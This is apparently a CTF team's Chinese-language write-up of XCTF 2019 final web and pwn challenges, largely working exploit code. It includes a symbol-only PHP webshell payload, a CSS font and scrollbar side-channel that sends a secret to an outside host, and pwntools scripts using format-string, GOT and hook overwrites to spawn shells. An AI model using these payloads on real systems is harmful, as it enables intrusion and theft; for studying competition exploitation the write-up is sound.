这都什么神仙思路,ROIS Web巨佬们tql
Web
babylog
各种尝试后,发现可以利用缓存将 xff 头处的 self-xss 转为存储型 xss。
https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html
lfi2019
SECOND BLOOD
这个题目充满了出题人的恶趣味。没用的代码和注释实在太多了,我第一次感受到原来注释多也挺惹人烦的。其主要就两个功能:
- include文件。
- 写文件。
重点在于绕过它的各种限制,其对于文件有如下限制:
- 文件名不能出现
['.', './', '~', '.\\', '#', '<', '>']
中的任意一个字符 - 写文件的内容会被
preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
处理。
在include文件前,其还有一个限制:
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);
/*
path_sanitizer(true)会把所有的/和\替换为空:
foreach(["/", "\\"] as $f){
$dir = str_replace($f, "", $dir);
}
*/
if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}
如果它是Linux服务器的话,很显然,直接上传一个文件名为bb\
的文件就能绕过限制。但这题不行。经过对一些特殊字符(如下)的测试,发现这是一台Windows机器。
对于Windows的文件读取,有一个小Trick:使用FindFirstFile
这个API的时候,其会把"
解释为.
。意即:shell"php
=== shell.php
。
因此,回到这题来。我们上传一个文件,名字设为test
。然后,通过"/test
即可读取。此时:
$read_file = "./files/./test";
$read_file_with_hardened_filter = "./files/.test";
file_get_contents($read_file) = '实际文件内容';
file_get_contents($read_file_with_hardened_filter) = false //文件不存在
至此,即绕过了文件名的限制。至于文件内容的限制,更为简单了。
参考 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html ,编写payload如下:
<?=$_=[]?><?=$_=@"$_"?><?=$___=$_['!'!='@']?><?=$____=$_[('!'=='!')+('!'=='!')+('!'=='!')]?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____=$__?><?=$__=''?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="."?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____($__)?>
其中用 <?=?>
替代分号,最后运行的是file_get_contents('flag.php')
,就能出结果了。
weiphp
FIRST BLOOD
挺无聊的一个 CMS 审计题目。我还是第一次见到能有一个CMS 的开发者允许用户自己定义allow_file_ext
的。
并且存在一个免验证的文件上传接口:
然后就没有然后了。
babypress
注意到docker-compose.yml
里把网卡设置为了外网地址。联想到 WordPress 的 xml-rpc 修复了各种内网SSRF,猜想就是通过 xml-rpc 打外网从而拿到 flag。于是直接用 xml-rpc 打就 ok。
noxss
FIRST BLOOD
非常明显,唯一的输出点只有skin,但此输出点过滤掉了 < > " '
很显然,我们只能用 CSS 搞事情了。那第一步是如何执行我们需要的任意 CSS。
根据 CSS 标准:https://www.w3.org/TR/css-syntax-3/#error-handling
CSS 会忽略所有的不正确的语法,就像这些东西从来没有存在过一样。因此,我们只需要换行,就可以让整个import 无效。
让我们再往下看一下,CSS 如何换行:https://www.w3.org/TR/css-syntax-3/#newline-diagram
其支持:%0a、%0d、%0f。%0a 会被Web服务器吃掉,因此使用 %0d 和 %0f 都可以逃逸出@import,从而实现执行任意 CSS 样式。
仔细读一下源码,就会发现,我们这题的目标是拿到这儿的 secret。
大家都知道,CSS 可以很容易地匹配到 attr,但是提取 content 就比较难了。CSS3 标准曾经有“:content”伪类,不过后来被删除,没进入正式标准,也没有浏览器支持它。因此,要得到这个值,只能使用一些Side-channel的非常规手段。CSS 的话,包括动画、字体等都是比较有效的侧信道攻击方案。不过,对于动画,我暂时想不到什么比较合适的方案;但是字体则可以利用“连字(Ligature)”进行侧信道。
我最早的思路是:
@font-face {
font-family: ligature;
src: url(xxxxx);
}
@font-face {
font-family: normal;
src: url(xxxxx);
}
script {
display: block;
font-family: "ligature", "normal";
}
构造一个连字字体,这个字体内只有“xctf”四个字符,如果浏览器只加载了这个字体,未加载normal字体,则证明页面内存在且仅存在“xctf”这四个字符。否则,则会加载normal字体。后发现该思路不对,因为script标签内字符实在太多,无法这么处理。
在这之后,我进行了一番搜索。查找到相关的一篇波兰语文章(别问我怎么搜到的.jpg):https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/ 。
这篇文章的大致思路是:
- 构造一个字体,把所有字符的宽度都设置为0。
- 把「xctf」的宽度设置为10000。
- 当页面里出现「xctf」的时候,就会出现滚动条。
- 在滚动条的样式里,通过
background: url()
发送请求。 - 逐位爆破。
不过,原文的payload过于复杂,利用了包括缓存、二分爆破等一系列技术,实在是不好利用,我也没跑通。因此,我自己基于文章内提供的fontforge脚本重新写了一份payload。
首先是需要一个Nodejs Server(同原文),这个Server用于动态生成字体:
script.fontforge:
#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")
index.js
➜ cat index.js
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
const PORT = 23460;
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');
// Generujemy fonta dla zadanego przedrostka
// i znaków, dla których ma zostać utworzona ligatura.
function createFont(prefix, charsToLigature) {
let font = {
"defs": {
"font": {
"@": {
"id": "hack",
"horiz-adv-x": "0"
},
"font-face": {
"@": {
"font-family": "hack",
"units-per-em": "1000"
}
},
"glyph": []
}
}
};
// Domyślnie wszystkie możliwe znaki mają zerową szerokość...
let glyphs = font.defs.font.glyph;
for (let c = 0x20; c <= 0x7e; c += 1) {
const glyph = {
"@": {
"unicode": String.fromCharCode(c),
"horiz-adv-x": "0",
"d": "M1 0z",
}
};
glyphs.push(glyph);
}
console.log(prefix + (charsToLigature).toString())
// ... za wyjątkiem ligatur, które są BARDZO szerokie.
charsToLigature.forEach(c => {
const glyph = {
"@": {
"unicode": prefix + c,
"vert-adv-y": "10000",
"horiz-adv-x": "10000",
"d": "M0 10000,v 0 10000z",
}
}
glyphs.push(glyph);
});
// Konwertujemy JSON-a na SVG.
const xml = js2xmlparser.parse("svg", font);
// A następnie wykorzystujemy fontforge
// do zamiany SVG na WOFF.
const tmpobj = tmp.dirSync();
fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
child_process.spawnSync("/usr/bin/fontforge", [
`${__dirname}/script.fontforge`,
`${tmpobj.name}/font.svg`
]);
const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);
// Usuwamy katalog tymczasowy.
rimraf.sync(tmpobj.name);
// I zwracamy fonta w postaci WOFF.
return woff;
}
// Endpoint do generowania fontów.
app.get("/font/:prefix/:charsToLigature", (req, res) => {
const { prefix, charsToLigature } = req.params;
// Dbamy o to by font znalazł się w cache'u.
res.set({
'Cache-Control': 'public, max-age=600',
'Content-Type': 'application/font-woff',
'Access-Control-Allow-Origin': '*',
});
res.send(createFont(prefix, Array.from(charsToLigature)));
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})
index.html:
<script>
//const chars = ['t','f']
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'.split('')
let ff = [], data = ''
let prefix = 'xctf{dobra_robota_jestes_mistrzem_CSS}'
chars.forEach(c => {
var css = ''
css = '?theme=../../../../\fa{}){}'
css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://xxxx:23459/?${encodeURIComponent(prefix+c)})}`
css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://xxxxx:23460/font/${prefix}/${c});}`
css += `script{font-family:a${c.charCodeAt()};display:block}`
document.write('<iframe scrolling=yes samesite src="http://noxss.cal1.cn:60080/account/userinfo?theme=' + encodeURIComponent(css) + '" style="width:1000000px" onload="event.target.style.width=\'100px\'"></iframe>')
})
</script>
原理:
- 将页面宽度设置为100000px,保证不会出现滚动条;
- 隐藏页面内所有元素,然后将script标签显示出来;
- 为script标签设置字体,如果匹配到了对应字符,则显示滚动条;
- 通过滚动条接收当前字符。
把这个页面的URL直接交给bot,即可接收到一位的flag。之后逐位爆破即可。效果如图:
pwn
fault
感谢r3kapig的大佬们带来的精彩比赛
看了流量才找到洞。。
加密函数:
add_round_key((__int64)v15, v9, 0);
for ( k = 1; k < round; ++k )
{
if ( k == 8 )
v15[v7] ^= v8; //!!!
subBytes((__int64)v15);
shiftRows((__int64)v15);
mixColums((__int64)v15);
add_round_key((__int64)v15, v9, k);
}
subBytes((__int64)v15);
shiftRows((__int64)v15);
add_round_key((__int64)v15, v9, round);
可以看到这里有个v15[v7] ^= v8
,v7
和v8
是传进来的参数,然而在解密函数里可以覆盖到这两个的值,于是可以利用这个把
────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
RAX 0x20
RBX 0x7fff5b1ae920 ◂— 0x8362000000020 /* ' ' */
RCX 0xc0
RDX 0x7fff5b1ae910 ◂— 0xaa63df0da959514d
RDI 0x7fff5b1ae910 ◂— 0xaa63df0da959514d
RSI 0x20
R8 0x20
R9 0x10
R10 0x0
R11 0x10
R12 0x0
R13 0x7fff5b1aeac0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fff5b1ae970 —▸ 0x7fff5b1ae9c0 —▸ 0x7fff5b1ae9e0 —▸ 0x56105a45f340 ◂— push r15
RSP 0x7fff5b1ae910 ◂— 0xaa63df0da959514d
RIP 0x56105a45f004 ◂— mov byte ptr [rdx + rax], cl
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x56105a45f004 mov byte ptr [rdx + rax], cl
0x56105a45f007 mov rax, qword ptr [rbp - 0x20]
0x56105a45f00b mov rdi, rax
0x56105a45f00e call 0x56105a45e886
0x56105a45f013 mov rax, qword ptr [rbp - 0x20]
0x56105a45f017 mov rdi, rax
0x56105a45f01a call 0x56105a45e6b5
0x56105a45f01f mov rax, qword ptr [rbp - 0x20]
0x56105a45f023 mov rdi, rax
0x56105a45f026 call 0x56105a45e4b9
0x56105a45f02b movzx edx, byte ptr [rbp - 0x29]
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rdx rdi rsp 0x7fff5b1ae910 ◂— 0xaa63df0da959514d
01:0008│ 0x7fff5b1ae918 ◂— 0x62bfb8152eb4f9cb
02:0010│ rbx 0x7fff5b1ae920 ◂— 0x8362000000020 /* ' ' */
03:0018│ 0x7fff5b1ae928 —▸ 0x56105acb10b0 ◂— 0xb9a433d31f71aaa1
04:0020│ 0x7fff5b1ae930 —▸ 0x56105a6613e0 ◂— 0xfcca81e5fb28c9b3 !!!!
05:0028│ 0x7fff5b1ae938 —▸ 0x56105a6613d0 ◂— 0x34b1fca7a4f6bb23
06:0030│ 0x7fff5b1ae940 ◂— 0x80404ff5b1ae970
我标感叹号的那个地址指向key
,后续的操作会把key
值修改,最后还会把加密后的内容输出,输出的内容和key
是一样的,这样就拿到了key
了,但是要加密一样的字符串两次才可以,对密码学这个不是很熟悉,误打误撞吧,我太菜了
from pwn import *
context.arch='amd64'
def cmd(command):
p.recvuntil(">",timeout=0.5)
p.sendline(command)
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./origin_fault")
gdb.attach(p)
# debug(0x0000000000003004)
cmd('e')
p.sendline("00"*0x10)
cmd('e')
p.sendline("cafebabedeadbeefcafebabedeadbeef".decode('hex'))
cmd('d')
payload1 = "5658a9ced4f5415d3e85e2e879d464405658a9ced4f5415d3e85e2e879d46440"
payload2 = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
p.sendline(payload1)
p.sendline(payload2)
cmd('e')
p.sendline("cafebabedeadbeefcafebabedeadbeef".decode('hex'))
p.recvuntil("e:encryp",drop=True)
p.recvuntil(">")
key = p.recvuntil("e:encryp",drop=True)
info(key)
cmd('s')
p.sendline(key)
flag = p.recv(0x3c,timeout=0.5)
info(flag)
p.interactive()
if __name__ == "__main__":
main(args['REMOTE'])
hannota
第二天说没有流量了。。。。。其实内心是有点慌的
只找到了两个漏洞
一个是login
函数的堆溢出
v14 = __readfsqword(0x28u);
src = 0LL;
printf("please enter user token length : ");
size = get_int();
if ( size <= 0xFF )
{
printf("please enter user token: ");
token = malloc(size);
read_n(token, 0x100uLL);
strcpy(dest, ROOM_PATH);
n = strlen(dest);
另一个是play from console
的show
有个格式化字符串
unsigned __int64 sub_243B()
{
char buf; // [rsp+10h] [rbp-110h]
unsigned __int64 v2; // [rsp+118h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("We will receive input from the terminal");
printf("E.g :");
read(0, &buf, 0x100uLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}
我用的是这里的格式化字符串,一开始修的时候把printf
改成了puts
,check
没过,改成了printf("%s",buf);
,还是没过,赛后问了阿鹏师傅,应该改为write(1,buf,strlen(buf));
这样的,orz
格式化字符串的exp
为
from pwn import *
context.arch='amd64'
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def cmd(command):
p.recvuntil(">>> ",timeout=0.5)
p.sendline(str(command))
def fmtstr(offset, addr, data, written):
cnt = 0
payload = ''
address = ''
for x in data:
cur = ord(x)
if cur >= written&0xff:
to_add = cur - (written&0xff)
else:
to_add = 0x100 + cur - (written&0xff)
round = ''
if to_add != 0:
round += "%{}c".format(to_add)
round += "%{}$hhn".format(offset+cnt+len(data)*2)
assert(len(round) <= 0x10)
written += to_add + 0x10 - len(round)
payload += round.ljust(0x10, '_')
address += p64(addr+cnt)
cnt+=1
return payload + address
def ca(tl,t,nl,n,pl,pa):
cmd(1)
p.recvuntil("please enter user token length : ")
p.sendline(str(tl))
p.recvuntil("please enter user token: ")
p.sendline(t)
p.recvuntil("please enter user name length : ")
p.sendline(str(nl))
p.recvuntil("please enter user name: ")
p.sendline(n)
p.recvuntil("please enter user password length : ")
p.sendline(str(pl))
p.recvuntil("please enter user password: ")
p.sendline(pa)
def login(tl,t,pl,pa):
cmd(0)
p.recvuntil("please enter user token length : ")
p.sendline(str(tl))
p.recvuntil("please enter user token: ")
p.sendline(t)
p.recvuntil("please enter user password length : ")
p.sendline(str(pl))
p.recvuntil("please enter user password : ")
p.sendline(pa)
def add_pl(type):
cmd(0)
cmd(type)
def show(idx):
cmd(2)
p.recvuntil("index : ")
p.sendline(str(idx))
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./hannota")
# p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"})
# gdb.attach(p)
debug(0x00000000000024A1)
ca(0x20,"AA",0x20,"AA",0x20,"AA")
ca(0x20,"AA",0x20,"AA",0x20,"AA")
login(0x20,"AA",0x20,"AA")
add_pl(0)
show(0)
p.recvuntil("E.g :")
p.sendline("%p%p-%p-%p-%p-%p-%p%p%p%p%p*%p*")
p.recvuntil('-')
libc.address = int(p.recvuntil("-",drop=True),16)-0x110081
info("libc : " + hex(libc.address))
p.recvuntil('*')
stack = int(p.recvuntil("*",drop=True),16)
info("stack : " + hex(stack))
ret_addr = stack+0x8
payload = fmtstr(8,ret_addr,p64(libc.address+0x4f2c5)[:6],0)
show(0)
p.recvuntil("E.g :")
p.send(payload)
sleep(0.1)
p.sendline("cat flag")
p.recv(timeout=0.5)
flag = p.recvuntil("\n",timeout=0.5)
info(flag)
p.interactive()
if __name__ == "__main__":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
main(args['REMOTE'])
pointer_guard
逐渐变难的一题
- 一开始5次地址写,1次
libc
里的任意函数call
,参数还是可控的,那自然就system("/bin/sh")
和execve("/bin/sh",0,0)
了
from pwn import *
context.arch='amd64'
def cmd(command):
p.recvuntil(">",timeout=0.5)
p.sendline(command)
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./pwn")
# p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"})
gdb.attach(p)
# debug(0x0000000000000A69)
p.recvuntil("binary_base=")
elf.address = int(p.recvuntil("\n",drop=True),16)
info("elf : " + hex(elf.address))
p.recvuntil("libc_base=")
libc.address = int(p.recvuntil("\n",drop=True),16)
info("libc : " + hex(libc.address))
p.recvuntil("stack_base=")
stack = int(p.recvuntil("\n",drop=True),16)
info("stack : " + hex(stack))
for i in range(4):
p.recvuntil("Addr:")
p.sendline(str(stack))
p.recvuntil("Value:")
p.sendline(str(1))
p.recvuntil("Addr:")
p.sendline(str(elf.address+0x203210))
p.recvuntil("Value:")
p.sendline(str(u64('/bin/sh\x00')))
p.recvuntil("Trigger!")
# system
# p.sendline("system")
# p.sendline("1")
# p.sendline(str(stack+0x54))
# execve
p.sendline("execve")
p.sendline("3")
p.sendline(str(stack+0x54))
p.sendline("0")
p.sendline("0")
p.sendline("cat flag")
p.recv(timeout=0.5)
flag = p.recvuntil("\n",timeout=0.5)
info(flag)
p.interactive()
if __name__ == "__main__":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
elf = ELF("./pwn",checksec=False)
main(args['REMOTE'])
- 然后变成了一次任意地址写,一次
libc
任意函数call
,但是参数不可控,那就写那些hook
吧,__free_hook
,__malloc_hook
,__memalign_hook
,__realloc_hook
都试一试
这里贴个__free_hook
的,其它的类似
p.recvuntil("Addr:")
p.sendline(str(libc.symbols["__free_hook"]))
p.recvuntil("Value:")
p.sendline(str(libc.address+0x10a38c))
p.recvuntil("Trigger!")
p.sendline("free")
p.sendline("0\x00"+"\x00"*90)
p.sendline("cat flag")
p.recv(timeout=0.5)
flag = p.recvuntil("\n",timeout=0.5)
info(flag)
- 然后是两次地址写
for ( i = 0; (unsigned __int64)i < 2; ++i )
{
puts("Addr:");
v3 = (_QWORD *)sub_DB1();
puts("Value:");
v4 = sub_DB1();
sub_1498(v3, v4);
}
if ( !dlopen("libc.so.6", 1) )
{
v5 = dlerror();
fprintf(stderr, "%s\n", v5);
exit(1);
}
因为dlopen
会调用malloc
函数,所以就修改__malloc_hook
和__realloc_hook
来getshell
p.recvuntil("Addr:")
p.sendline(str(libc.symbols["__realloc_hook"]))
p.recvuntil("Value:")
p.sendline(str(libc.address+0x10a38c))
p.recvuntil("Addr:")
p.sendline(str(libc.symbols["__malloc_hook"]))
p.recvuntil("Value:")
p.sendline(str(libc.symbols["realloc"]+8))
- 最后只有一次地址写了
for ( i = 0; (unsigned __int64)i < 1; ++i )
{
puts("Addr:");
v3 = (_QWORD *)sub_DB1();
puts("Value:");
v4 = sub_DB1();
sub_1498(v3, v4);
}
if ( !dlopen("libc.so.6", 1) )
{
v5 = dlerror();
fprintf(stderr, "%s\n", v5);
exit(1);
}
我在_dlerror_run
里找到了call _dl_catch_error@plt
0x7ff6fbcf6726 <_dlerror_run+86> lea rdi, [rbx + 0x10]
0x7ff6fbcf672a <_dlerror_run+90> mov r8, r12
0x7ff6fbcf672d <_dlerror_run+93> mov rcx, rbp
► 0x7ff6fbcf6730 <_dlerror_run+96> call _dl_catch_error@plt <0x7ff6fbcf5d90>
rdi: 0x7ff6fbef80f0 (last_result+16) ◂— 0x0
rsi: 0x7ff6fbef80f8 (last_result+24) ◂— 0x0
rdx: 0x7ff6fbef80e8 (last_result+8) ◂— 0x0
rcx: 0x7ff6fbcf5f40 (dlopen_doit) ◂— push rbx
既然是plt
的话,那就可以修改GOT
表来劫持流程了
► 0x7ff6fbcf5d90 <_dl_catch_error@plt> jmp qword ptr [rip + 0x2022a2] <0x7ff6fbef8038>
0x7ff6fbcf5d96 <_dl_catch_error@plt+6> push 4
0x7ff6fbcf5d9b <_dl_catch_error@plt+11> jmp 0x7ff6fbcf5d40
↓
0x7ff6fbcf5d40 push qword ptr [rip + 0x2022c2] <0x7ff6fbef8008>
0x7ff6fbcf5d46 jmp qword ptr [rip + 0x2022c4] <0x7ff6fba0e38c>
pwndbg> telescope 0x5f4010+0x7f3cf530b000
00:0000│ 0x7f3cf58ff010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f3cf5917750 (_dl_runtime_resolve_xsavec)
可以看到有两处地方都用到了GOT
表,所以都试一试改为one_gadget
,结果本地都不行,但是打远程的时候通了,打通的是把_dl_runtime_resolve_xsavec
的GOT
改为one_gadget
,这运气没谁了,晚上回去的时候又去试了下本地,居然又可以了。。。
p.recvuntil("Addr:")
p.sendline(str(libc.address+0x5f4010))
p.recvuntil("Value:")
p.sendline(str(libc.address+0x10a38c))
tnj
这题的话还是看丁佬的 github 吧,膜丁佬。
https://github.com/Escapingbug/xctf-2019-final-tnj